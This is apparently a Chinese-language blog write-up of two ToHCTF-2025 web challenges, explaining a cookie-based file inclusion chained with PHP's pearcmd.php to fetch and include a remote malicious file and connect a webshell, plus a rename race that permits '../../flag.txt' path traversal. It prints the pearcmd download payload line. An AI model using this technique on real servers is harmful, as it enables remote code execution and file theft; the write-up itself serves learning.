ToHCTF-2025

tiran Lv2

web-tohwedding

拿到题目docker,发现我们的flag在宾客名单中

但是发现根本没有文件调用这个名单

所以得找其他方向

lang.php发现了他在检查lang参数时在cookie中没有检查,从而导致include内参数可控

但是由于是高版本php,我们并没有方法绕过后面添加的.php的后缀

所以我们就得利用php自带的文件,pearcmd.php其路径在/usr/local/lib/php/,该文件是 PEAR 包管理器的命令行界面,可以利用其进行下载恶意文件

使用查询参数: /?&+install+-R+/+{webhook_url}/s.php 注入 $_SERVER['argv'] 变量。
这将执行带有 install -R / {webhook_url}/s.php 参数的 pearcmd.php 文件,该文件将从 Webhook URL 下载 s.php 文件。

我们可以进入到docker看一看

随后在利用lang包含该恶意文件

蚁剑连接

得到flag

web-zerodrive与web-zerodrive-revenge

(我从github上面下载的两个一模一样)

题目有用的有3个路由

/upload,可以上传文件,但是限制大小为0

/uploads/<uuid_file>用于访问文件

/rename/<uuid_file>修改文件名

由于我们的查询代码是根据uuid查询filename,然后将其拼接后返回文件内容

/rename/<uuid_file>路由由于检查代码在conn.execute()之后,在移动文件之前,代码先更新了数据库,导致无论检查结果不管怎样,我们的恶意文件名都已经被成功修改为../../flag.txt,从而导致拼接后的路径为/flag.txt,返回我们的flag

  • 标题: ToHCTF-2025
  • 作者: tiran
  • 创建于 : 2025-07-22 15:04:59
  • 更新于 : 2025-07-22 15:05:27
  • 链接: https://www.tiran.cc/2025/07/22/ToHCTF-2025/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。